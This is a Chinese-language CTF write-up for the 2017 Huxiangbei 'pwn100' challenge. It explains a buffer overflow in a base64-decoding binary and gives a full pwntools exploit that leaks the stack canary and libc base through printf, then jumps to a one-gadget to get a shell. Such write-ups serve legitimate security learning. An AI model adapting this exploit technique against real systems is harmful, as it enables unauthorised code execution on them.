pwn100
pwn100
把pwns100直接拖入ida中: main函數:

base64解碼函數

輸入函數

可以看到read可以輸入的字符串可以長達0x200個,這里可造成緩沖區溢出漏洞 這個程序很簡單,輸入base64字符串輸出base64解碼之后的字符串 先運行一下程序看一下這個程序干了啥

再看看程序開啟了哪些保護:

因為這個程序開了Canary,這個題目的要利用printf泄露這個程序中的Canary,然后再泄露libc的基地址,最后利用溢出重新布置棧空間getshell,因為每次fork,子進程復制父進程的數據空間(數據段)、棧和堆,父、子進程共享正文段。也就是說,對于程序中的數據,子進程要復制一份,但是對于指令,子進程并不復制而是和父進程共享,具體可參考https://www.cnblogs.com/bwangel23/p/419004...
這個文章,所以雖然在泄露Canary或者libc的時候使子進程崩潰了,但是不會影響父進程的穩定性
所以我的exp是
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048B09'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
local_MAGIC = 0x0003AC69
io = process('/home/h11p/hackme/huxiangbei/pwns')
#io = remote('104.224.169.128', 18887)
#debug()
#getCanary
payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))
#getlibc
#debug()
payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351]
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)
#pwn
#debug()
MAGIC_addr=local_MAGIC+base_libc
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.interactive()
io.close()
我講解一下如何獲取Canary,因為輸入的輸入數據會被printf輸出,遇到0x00的時候停止輸出,如果輸入的輸入剛剛好覆蓋到Canary前面就可以用printf輸出Canary了,但是Canary后兩位是0x00,所以得到輸出之后要補足后兩位的0x00

同理也可以用這種方法計算出__libc_start_main和libc的基地址

計算出Canary的值和基地址后,就可以通過溢出讓程序程序跳轉到MAGIC去了,就可以getshell了,至于MAGIC是啥,大家可以翻一下我以前寫的文章:http://blog.csdn.net/niexinming/article/de...
最后的效果是:

2017湖湘杯-Writeup